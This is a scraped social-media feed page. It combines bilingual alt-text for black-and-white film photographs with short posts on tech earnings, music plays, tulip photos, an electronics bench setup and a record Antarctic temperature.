A black-and-white photo of a street vendor stall. The stall is adorned with various hanging items, possibly dried goods or crafts, stacked in a pyramid shape. Two people are visible: one standing behind the stall and another in the foreground, partially out of frame.

中文

一张黑白照片,展示了一个街边小贩摊位。摊位上悬挂着各种物品,可能是干货或手工艺品,堆叠成金字塔形状。照片中有两个人:一人站在摊位后面,另一人在前景,部分身影未入镜。
Lucky LUCKY SHD 400 (FF)

English

A black-and-white photograph showing the top of a lighthouse peeking above a line of trees. The lighthouse has a cylindrical base and a lantern room at the top. The sky is clear, and the trees in the foreground are bare, with a few sparse leaves.

中文

一张黑白照片,展示了一座灯塔的顶部从树林上方探出。灯塔底部为圆柱形,顶部是灯室。天空晴朗,前景中的树木枝叶稀疏,几乎没有叶子。
Lucky LUCKY SHD 400 (FF)

English

A black-and-white photo of a crowded outdoor scene. Many people are walking or standing, some partially blurred due to motion. The background shows trees and possibly a fence or structure, suggesting a park or public space.

中文

一张黑白照片,展示了户外拥挤的场景。许多人在行走或站立,部分人因动作而模糊。背景有树木和可能是围栏或建筑物,暗示这是一个公园或公共场所。
Lucky LUCKY SHD 400 (FF)

English

A black-and-white landscape photograph featuring a traditional Asian-style building with a tiled roof, located near a body of water. The building is partially obscured by trees in the foreground. The water is calm, and the horizon is visible in the background.

中文

一张黑白风景照,展示了一座传统亚洲风格的瓦屋顶建筑,位于水边。建筑物部分被前景的树木遮挡。水面平静,远处的地平线清晰可见。
@kexpmusicbot@mastodonapp.uk
2026-05-20 01:14:51

🇺🇦 #NowPlaying on KEXP's #DriveTime
Gang Starr feat. Inspectah Deck:
🎵 Above the Clouds
#GangStarr #InspectahDeck
open.spotify.com/track/3ZBSXNY

@Techmeme@techhub.social
2026-04-16 09:15:04

TSMC reports Q1 revenue up 35.1% YoY to ~$35B, net income up 58.3% YoY to ~$18B, both above est., and says 7nm or smaller chips were ~74% of its wafer revenue (Dylan Butts/CNBC)
cnbc.com/2026/04/16/tsmc-q1-pr

@Sustainable2050@mastodon.energy
2026-06-12 22:05:39

Record winter temperatures in Antarctic raise fears over speed of climate breakdown.
Scientists said the high of 15.4C broke the previous record set at the same station in 1998 by 2C. “This is absolutely crazy,” said Raúl Cordero, an Ecuadorian climate professor at the University of Groningen. “It is also about 20C above normal for this time of the year. That is a huge anomaly.”

@azonenberg@ioc.exchange
2026-05-13 02:18:34

This will get better when the rack kit for the SPD3303X-E comes in but for now it's just sitting on a shelf.
Now I have a DUMPTRUCK plus the STM32MP2 x Kintex-7 test board all wired up with power, jtag, annd serial console for remote firmware/gateware dev work.
Free bench space, coming soon (slowly)

Front side of the setup showing a Siglent power supply on the shelf above powering one of the boards
Two dev boards on a shelf with jtag dongles hanging off
@playinprogress@assemblag.es
2026-04-19 09:08:03

#photography #bloomScrolling #tulips #orange

horizontal format closeup of an orange, yellow and pink tulip seen from above in bright sunlight, with a background of green tulip foliage.

Tulip variety: Sunrise Dynasty
the same tulip as seen in the previous pic, seen straight down and in shadow, focusing on its stigma and stamens
another view of the same orange, yellow and pink tulip, seen again in bright sunlight
@primonatura@mstdn.social
2026-06-15 11:00:20

"Record winter temperatures in Antarctic raise fears over speed of climate breakdown"
#Climate #ClimateChange #Antarctic

@Techmeme@techhub.social
2026-05-16 18:46:09

SF vibes are frenetic over the huge divide in outcomes and career uncertainty for software engineers; over 5 years ~10K people in AI attained retirement wealth (Deedy/@deedydas)
x.com/deedydas/status/20554919

@leftsidestory@mstdn.social
2026-04-17 02:08:10

Human Traces IX ⛩️
人类踪迹 IX ⛩️
📷 Pentax MX
🎞️ Lucky SHD 400
If you like my work, Support by buying me a coffee or a roll of film from PayPal #filmphotography

Lucky LUCKY SHD 400 (FF)

English

A black-and-white photograph of a vast, rocky tidal flat or mudflat. Two people are walking across the area, which is scattered with numerous small rocks and patches of water. The horizon is visible in the distance, and the scene appears desolate and open, suggesting a coastal or estuarine environment.

中文

一张黑白照片,拍摄的是广阔的岩石潮间带或泥滩。两个人在该区域行走,地面散布着许多小石头和水洼。远处可见地平线,场景显得荒凉而开阔,暗示可能是沿海或河口环境
Lucky LUCKY SHD 400 (FF)

English

A black-and-white photograph of a sandy or muddy beach with scattered debris and rocks. In the foreground, there is a boat loaded with various items, including what appears to be fabric or tarps. Several people are visible in the background, walking or standing in the open area.

中文

一张黑白照片,拍摄的是一个布满沙子或泥土的海滩,散落着碎石和杂物。前景有一辆装载着各种物品的船,包括看起来像是布料或防水布的东西。背景中有几个人在空地上行走或站立。
Lucky LUCKY SHD 400 (FF)

English

A black-and-white photograph of a traditional Chinese temple entrance. The temple has ornate roof carvings and a signboard with Chinese characters above the entrance. Several people, some blurred due to motion, are gathered in front of the temple. One person is holding a dragon dance prop, suggesting a cultural or festive event. The temple's architectural details include intricate woodwork and stone pillars.

中文

一张黑白照片,拍摄的是一个传统中国寺庙的入口。寺庙屋顶雕刻精美,门口上方悬挂着写有汉字的牌匾。…
Lucky LUCKY SHD 400 (FF)

English

A black-and-white photograph of a pavilion with stone columns and a tiled roof. The pavilion features a stone tablet with Chinese characters carved into it. Two people, slightly blurred, are standing in front of the tablet, possibly reading or observing it. The background shows more columns and a natural setting with trees.

中文

一张黑白照片,拍摄的是一个带有石柱和瓦屋顶的亭子。亭子内有一块刻有汉字的石碑。两个人站在石碑前,略显模糊,可能在阅读或观察石碑。背景有更多的柱子和自然环境,包括树木
@Techmeme@techhub.social
2026-05-14 21:01:30

Figma reports Q1 revenue up 46% YoY to $333.4M, vs. $313.2M est., and forecasts Q2 revenue above estimates, citing AI monetization; FIG jumps 8% after hours (Zaheer Kachwala/Reuters)
reuters.com/technology/figma-r

@playinprogress@assemblag.es
2026-05-20 15:08:03

#photography #bloomScrolling #tulips #pink

horizontal format closeup of a small bunch of already slightly wilting tulips in yellow, salmon, pink and purple in a small gray glass vase, seen from above, indoors but in sunlight coming in from somewhere at the top of the image, against a nondescript dark and light background.
a different view of the same bunch of tulips, this time seen more from the side, with a purple tulip on the left and a yellow and salmon one on the right
again a different view of the same bunch of tulips, this time all three of them, with a clearer view of the top of the vase, and the background completely in dark shadow
a vertical image zooming in a bit more on the purple tulip in profile, illuminated by sun but with the background completely in shadow
@Techmeme@techhub.social
2026-04-15 08:01:36

PitchBook: US growth and late-stage venture funds raised $23.6B YTD, up from $7.4B in 2025 and above the totals for any of the past 12 years, amid the AI boom (Yuliya Chernova/Wall Street Journal)
wsj.com/pro/venture-capital/ai

@Techmeme@techhub.social
2026-05-14 12:40:41

Klarna reports Q1 revenue up 44% YoY to $1.01B, above est., GMV up 33% to $33.7B, active customers up 20% to 119M, and a $1M profit, up from a $99M loss YoY (Connor Hart/Wall Street Journal)
wsj.com/business/earnings/klar…

@Techmeme@techhub.social
2026-05-13 21:31:00

Cisco reports Q3 revenue up 12% YoY to $15.84B, vs. $15.56B est., forecasts Q4 revenue above est., and is cutting almost 4,000 jobs; CSCO jumps 17% after hours (Jordan Novet/CNBC)
cnbc.com/2026/05/13/cisco-csco

@Techmeme@techhub.social
2026-05-13 09:45:56

SoftBank reports Q4 net income up 3x to ~$11.6B, above ~$1.5B est., driven by a $25B gain in its OpenAI stake; by October, its OpenAI investment will hit $64.6B (David Keohane/Financial Times)
ft.com/content/85b9fe04-0d70-4

@Techmeme@techhub.social
2026-04-13 21:21:03

Microsoft raises prices for Surface PCs, with Laptop 7 and Pro 11 now $500 more expensive than at their 2024 launch, citing higher memory and component costs (Zac Bowden/Windows Central)
windowscentral.com/hardware/s…

@Techmeme@techhub.social
2026-04-23 09:15:56

STMicro reports Q1 revenue of $3.10B, above $3.04B est., $171M operating income, above $165.8 est., and forecasts $3.45B revenue for Q2, above $3.21B est. (Nathan Vifflin/Reuters)
reuters.com/business/stmicroel

@Techmeme@techhub.social
2026-05-06 20:36:45

DoorDash reports Q1 revenue up 33% YoY to $4.04B, vs. $4.14B est., and forecasts Q2 marketplace gross order value above estimates; DASH jumps 11% after hours (Koyena Das/Reuters)
reuters.com/business/autos-tra

@Techmeme@techhub.social
2026-05-05 20:25:54

AMD reports Q1 revenue up 38% YoY to $10.25B, Data Center revenue up 57% to $5.8B, and forecasts Q2 revenue above estimates, as AI chip demand stays strong (Zaheer Kachwala/Reuters)
reuters.com/business/amd-forec

@Techmeme@techhub.social
2026-05-12 10:55:54

JD.com reports Q1 revenue up 4.9% YoY to $46.5B, above ~$45.8B est., and adjusted net profit down 42% YoY to $1B, amid a fierce food delivery battle in China (Wall Street Journal)
wsj.com/busin…

@Techmeme@techhub.social
2026-05-12 11:25:43

Sea reports Q1 revenue up 47% YoY to $7.1B and net income up 6% YoY to $428M, both above est., after warding off rivals in Southeast Asia's e-commerce market (Olivia Poh/Bloomberg)
bloomberg.com/news/articles/20

@Techmeme@techhub.social
2026-04-11 05:10:52

Indian IT giant TCS reports Q4 sales up 9.7% YoY to $7.63B, net profit up 12.2% to $1.48B, both above est., and says new AI models did not hurt services demand (Reuters)
reuters.com/world/india/indias

@Techmeme@techhub.social
2026-05-01 01:25:51

Apple forecasts Q3 revenue above estimates and reports Q2 results above projections in China but below expectations in the Americas and Europe regions (Mark Gurman/Bloomberg)
bloomberg.com/news/articles/20